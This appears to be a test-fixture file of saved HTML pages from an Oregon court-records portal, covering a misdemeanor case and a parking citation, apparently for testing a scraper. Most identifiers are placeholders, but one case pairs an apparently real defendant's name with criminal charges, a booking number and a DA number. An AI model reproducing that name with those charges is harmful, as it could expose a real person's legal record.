</td><td valign="top">Driving Under the Influence of Intoxicants</td><td valign="top"></td><td valign="top">813.010(4)</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="CDisp" class="ssEventsAndOrdersSubTitle">DISPOSITIONS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD1">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD1"><div style="padding-bottom: 10px"><b>Disposition</b><br /><div><div style="padding-left: 10px">999. Driving Under the Influence of Intoxicants<div style="padding-left: 40px">No Complaint</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 1:07 PM</div></div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD2">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD2"><div style="padding-bottom: 10px"><b>Plea</b> (Judicial Officer: Office, Judicial M)<br /><div><div style="padding-left: 10px">1. Reckless Driving<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div>2. Resisting Arrest<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div>3. Interfering w/ Peace/Parole and Probation Officer<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:10 PM</div></div></td></tr><tr><td> </td><td> </td><td> </td><td></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR1">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR1"><b>Arraignment</b>
(2:00 PM)
(Judicial Officer Office, Judicial M)
<table></table> Result: Held<div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 6:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER2">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER2"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Agreement - Recognizance Release</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 7:52 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER3">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER3"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Motion - Recognizance Release</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 8:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER4">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER4"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Affidavit - Eligibility - ACP</a></b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:04 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER5">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER5"><b>Arraignment</b>
(Judicial Officer:
Office, Judicial M
)
<div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:09 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER6">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER6"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Information</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 4:03 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER7">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER7"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Order - Appear</a></b>
(Judicial Officer:
Office, Judicial M
)
<div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>03/06/2018</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 5:00 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER8">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER8"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Notice - Advise Appeal Rights</a></b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/07/2018 11:43 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER9">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER9"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Order - Appointing Counsel</a></b>
(Judicial Officer:
Office, Judicial M
)
<div style="padding-left: 10px"><i>Attorney:</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>03/06/2018</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/08/2018 11:29 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR10">04/13/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR10"><b>Hearing - Trial Readiness</b>
(9:00 AM)
(Judicial Officer Officer, Judicial M)
<table></table> Result: Held<div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:10 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER11">04/16/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER11"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Order</a></b>
(Judicial Officer:
Officer, Judicial M
)
<div style="padding-left: 10px"><i>Call Date: 8:30am on 5/1/18 in courtroom 508; Trial Date: 5/2/18</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>04/13/2018</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/16/2018 11:57 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR12">04/26/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR12"><b>Hearing - Further Proceedings</b>
(9:00 AM)
(Judicial Officer Office, Judicial M)
<div style="padding-left: 10px"><i>WOA</i></div><table></table> Result: Held<div style="padding-left: 10px;font-size:8pt;">
Created: 04/19/2018 1:34 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR13">05/01/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR13"><i>CANCELED</i>
<b>Call - Regular</b>
(8:30 AM)
(Judicial Officer Office, Judicial M)
<table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 11/08/2018 10:54 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR64">01/31/2019</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR64"><b>Call - Regular</b>
(8:30 AM)
(Judicial Officer Office, Judicial M)
<table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 11/08/2018 10:54 AM</div></td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
"""
CASE_WITHOUT_DISPOS = """
<html>
<head>
<link rel="stylesheet" type="text/css" href="#"/>
</head>
<body>
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td size="1"><a class="ssBlackNavBarHyperlink" href="CPR.aspx?CaseID=55555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Images</a> </td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><a href="CPR.aspx?CaseID=55555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes"><div class="ssCaseDetailCaseNbr" nowrap="true" style="cursor: hand" title="Click to view images on the case">
Case No. <span style="font-variant: normal">555555555</span></div></a><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>State of Oregon
vs
JOHN D DOE</b></td><td>§<br />§<br />§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Offense Misdemeanor</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>03/06/2018</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Booking Number:</th><td style="padding-left:10px" valign="top"><b>1429900</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">District Attorney Number:</th><td style="padding-left:10px" valign="top"><b>2377315-1</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">Woods, Lavelle Damont</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11">Tall Person<br />
DOB: 2014<br />10' 1", 180 lbs</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><b>Attorney</b><br /> <I>Court Appointed</I><br />503 225-9100(W)</td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> Unknown<br /> Portland, OR 97233<br /><nobr> Other Agency Numbers
</nobr><div style="padding-left: 15px;">99719 Multnomah County Sheriff</div></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><b>MULTNOMAH DISTRICT ATTORNEY</b></td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: Woods, Lavelle Damont</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">Reckless Driving</td><td valign="top"></td><td valign="top">811.140</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr><tr><td valign="top">2.
</td><td valign="top">Resisting Arrest</td><td valign="top"></td><td valign="top">162.315</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr><tr><td valign="top">3.
</td><td valign="top">Interfering w/ Peace/Parole and Probation Officer</td><td valign="top"></td><td valign="top">162.247</td><td valign="top" nowrap="true">Misdemeanor Class A</td><td valign="top" nowrap="true">03/06/2018</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="CDisp" class="ssEventsAndOrdersSubTitle">DISPOSITIONS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDCD2">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td valign="top" headers="CDisp RCDCD2"><div style="padding-bottom: 10px"><b>Plea</b> (Judicial Officer: Office, Judicial M)<br /><div><div style="padding-left: 10px">1. Reckless Driving<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div>2. Resisting Arrest<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div>3. Interfering w/ Peace/Parole and Probation Officer<div style="padding-left: 40px">Not Guilty</div><div style="padding-left: 40px"></div></div></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:10 PM</div></div></td></tr><tr><td> </td><td> </td><td> </td><td></td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR1">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR1"><b>Arraignment</b>
(2:00 PM)
(Judicial Officer Office, Judicial M)
<table></table> Result: Held<div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 6:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER2">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER2"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Agreement - Recognizance Release</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 7:52 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER3">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER3"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Motion - Recognizance Release</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 8:00 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER4">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER4"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Affidavit - Eligibility - ACP</a></b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:04 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER5">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER5"><b>Arraignment</b>
(Judicial Officer:
Office, Judicial M
)
<div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:09 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER6">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER6"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Information</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 4:03 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER7">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER7"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Order - Appear</a></b>
(Judicial Officer:
Office, Judicial M
)
<div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>03/06/2018</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 5:00 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER8">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER8"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Notice - Advise Appeal Rights</a></b><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/07/2018 11:43 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER9">03/06/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER9"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Order - Appointing Counsel</a></b>
(Judicial Officer:
Office, Judicial M
)
<div style="padding-left: 10px"><i>Attorney:</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>03/06/2018</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 03/08/2018 11:29 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR10">04/13/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR10"><b>Hearing - Trial Readiness</b>
(9:00 AM)
(Judicial Officer Officer, Judicial M)
<table></table> Result: Held<div style="padding-left: 10px;font-size:8pt;">
Created: 03/06/2018 2:10 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER11">04/16/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER11"><b><a href="CPR.aspx?CaseID=55555555&EventID=5555555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Order</a></b>
(Judicial Officer:
Officer, Judicial M
)
<div style="padding-left: 10px"><i>Call Date: 8:30am on 5/1/18 in courtroom 508; Trial Date: 5/2/18</i></div><div style="padding-left: 10px"><table cellpadding="0" cellspacing="0" border="0"><tr><th class="ssTableHeaderLabelLeft">Signed: </th><td>04/13/2018</td></tr></table></div><div style="padding-left: 10px;font-size:8pt;">
Created: 04/16/2018 11:57 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR12">04/26/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR12"><b>Hearing - Further Proceedings</b>
(9:00 AM)
(Judicial Officer Office, Judicial M)
<div style="padding-left: 10px"><i>WOA</i></div><table></table> Result: Held<div style="padding-left: 10px;font-size:8pt;">
Created: 04/19/2018 1:34 PM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR13">05/01/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR13"><i>CANCELED</i>
<b>Call - Regular</b>
(8:30 AM)
(Judicial Officer Office, Judicial M)
<table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 11/08/2018 10:54 AM</div></td></tr><tr><th class="ssTableHeaderLabel" valign="top" ID="RCDHR64">01/31/2019</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDHR64"><b>Call - Regular</b>
(8:30 AM)
(Judicial Officer Office, Judicial M)
<table></table><div style="padding-left: 10px;font-size:8pt;">
Created: 11/08/2018 10:54 AM</div></td></tr></table>
<form id="Form1" action="" method="post"></form>
</body>
</html>
"""
CASE_PARKING_VIOLATION = """
<html>
<head>
<link rel="stylesheet" type="text/css" href="#"/>
</head>
<body>
<?xml version="1.0" encoding="utf-8"?><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"></table><table cellspacing="0" cellpadding="0" width="100%" border="0" style="table-layout: fixed; margin:0px; padding:0px;"><tr><td bgcolor="#000000" height="20px"><table cellspacing="0" cellpadding="0" width="100%" border="0"><tr><td align="left" style="padding-left: 5px"><font size="1"><a class="ssBlackNavBarHyperlink" href="#MainContent">Skip to Main Content</a> <a class="ssBlackNavBarHyperlink" href="logout.aspx">Logout</a> <a class="ssBlackNavBarHyperlink" href="MyAccount.aspx?ReturnURL=default.aspx">My Account</a> <a class="ssBlackNavBarHyperlink" href="default.aspx">Search Menu</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100">Search Criminal, Traffic and Parking Case Records</a> <a class="ssBlackNavBarHyperlink" href="Search.aspx?ID=100&RefineSearch=1">Refine Search</a> <a class="ssBlackNavBarHyperlink" href="
 javascript:if((new String(window.location)).indexOf("#MainContent") > 0)
 {
 history.back();
 history.back();
 }
 else history.back();
 ">
Back</a> </font></td><td align="center" class="ssBlackNavBarLocation"></td><td align="right" style="padding-right: 10px"><table cellspacing="0" cellpadding="0" border="0"><tr><td class="ssBlackNavBarLocation">
Location : All Locations</td><td size="1"><a class="ssBlackNavBarHyperlink" href="CPR.aspx?CaseID=5555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Images</a> </td><td><font size="1"><a class="ssBlackNavBarHyperlink" target="_blank" href="http://www.courts.oregon.gov/services/online/Documents/OJCIN/OECI/PA_QRefG_OJIN.pdf">Help</a></font></td></tr></table></td></tr></table></td></tr></table><a id="MainContent" name="MainContent" tabindex="-1"></a><div class="ssCaseDetailROA" nowrap="true">Register of Actions</div><a href="CPR.aspx?CaseID=5555555&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes"><div class="ssCaseDetailCaseNbr" nowrap="true" style="cursor: hand" title="Click to view images on the case">
Case No. <span style="font-variant: normal">5555555555</span></div></a><table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td width="50%" valign="top"><b>State of Oregon
vs.
BP55555555</b></td><td>§<br />§<br />§<br />§<br />§<br />§<br /></td><td width="50%" valign="top" align="center"><table cellpadding="0" cellspacing="0" width="90%" border="0"><tr><td width="70%"><table cellpadding="0" cellspacing="0" width="100%" border="0"><cols><col width="50%" /><col width="50%" /></cols><tr><th class="ssTableHeaderLabel">Case Type:</th><td style="padding-left:10px"><b>Municipal Parking</b></td></tr><tr><th class="ssTableHeaderLabel">Date Filed:</th><td style="padding-left:10px"><b>12/03/2018</b></td></tr><tr><th class="ssTableHeaderLabel">Location:</th><td style="padding-left:10px"><b>Multnomah</b></td></tr><tr><th class="ssTableHeaderLabel" valign="top">Vehicle License Plate:</th><td style="padding-left:10px" valign="top"><b>abc123</b></td></tr></table></td></tr></table></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout: fixed"><col width="10%" /><col width="30%" /><col width="10%" /><col width="30%" /><col width="20%" /><caption><div class="ssCaseDetailSectionTitle">Party Information</div></caption><tr><td colspan="4"></td><th class="ssTableHeader" id="PIc5">Attorneys</th></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr01">Defendant</th><th class="ssTableHeader" valign="top" id="PIr11">DOE, JOHN D BP55555555</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11"> <br />
DOB: 1978</td><td rowspan="2" valign="top" headers="
 PIr01 
 PIr11 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr01 
 PIr11"> Unknown<br /> PORTLAND, OR 97228<br /></td></tr><tr height="25"><td colspan="5"> </td></tr><tr><th class="ssTableHeader" valign="top" rowspan="2" id="PIr02">Plaintiff</th><th class="ssTableHeader" valign="top" id="PIr12">State of Oregon</th><td rowspan="2"></td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12"> </td><td rowspan="2" valign="top" headers="
 PIr02 
 PIr12 
 PIc5
 "><s></s></td></tr><tr><td valign="top" headers="
 PIr02 
 PIr12"></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="2%" /><col width="40%" /><col width="15%" /><col width="15%" /><col width="15%" /><col width="10%" /><caption><div class="ssCaseDetailSectionTitle">Charge Information</div></caption><tr><th class="ssTableHeader" nowrap="true" colspan="2">
Charges: DOE, JOHN D</th><th class="ssTableHeader"></th><th class="ssTableHeader">
Statute
</th><th class="ssTableHeader">
Level
</th><th class="ssTableHeader">
Date
</th></tr><tr><td valign="top">1.
</td><td valign="top">No Meter Receipt</td><td valign="top"></td><td valign="top">16.20.430-A</td><td valign="top" nowrap="true">Violation Unclassified</td><td valign="top" nowrap="true">12/01/2018</td></tr><tr><td /><td></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0" style="table-layout:fixed;"><col width="54px" /><col width="3px" /><col width="3px" /><col width="700px" /><col width="100%" /><caption><div class="ssCaseDetailSectionTitle">Events & Orders of the Court</div></caption><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th id="COtherEventsAndHearings" class="ssEventsAndOrdersSubTitle">OTHER EVENTS AND HEARINGS</th></tr><tr><th class="ssTableHeaderLabel" valign="top" id="RCDER1">12/03/2018</th><td style="border-right: 1px solid black"> </td><td> </td><td headers="COtherEventsAndHearings RCDER1"><b><a href="CPR.aspx?CaseID=5555555&EventID=497539861&CaseCategoryKeys=CR&NodeID=a_lot_of_nodes">Citation</a></b><div style="padding-left: 10px;font-size:8pt;">
Created: 12/04/2018 1:23 AM</div></td></tr></table><table cellpadding="0" cellspacing="0" width="100%" border="0"><col width="1" /><col width="0" /><col width="3" /><col width="20%" /><col width="40%" /><col width="40%" /><col width="1" /><caption><div class="ssCaseDetailSectionTitle">Financial Information</div></caption><tr><td colspan="7"></td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td> </td><td> </td><td> </td><td> </td><td> </td><td> </td></tr><tr><td valign="top"> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="4" style="padding-left:3px" id="CDFRB1"><span style="font-weight: bold;">Defendant</span> DOE, JOHN D</th></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRBFA1">Total Financial Assessment</th><td align="right" headers="CDFRB1 RCDFRBFA1"> 65.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeaderLabelLeft" colspan="3" style="padding-left:3px" id="RCDFRPC1">Total Payments and Credits</th><td align="right" headers="CDFRB1 RCDFRPC1"> 0.00</td></tr><tr><td> </td><td style="border-right: 1px solid black"> </td><td> </td><th class="ssTableHeader" colspan="3" style="padding-left:3px" id="RCDFRBD1">
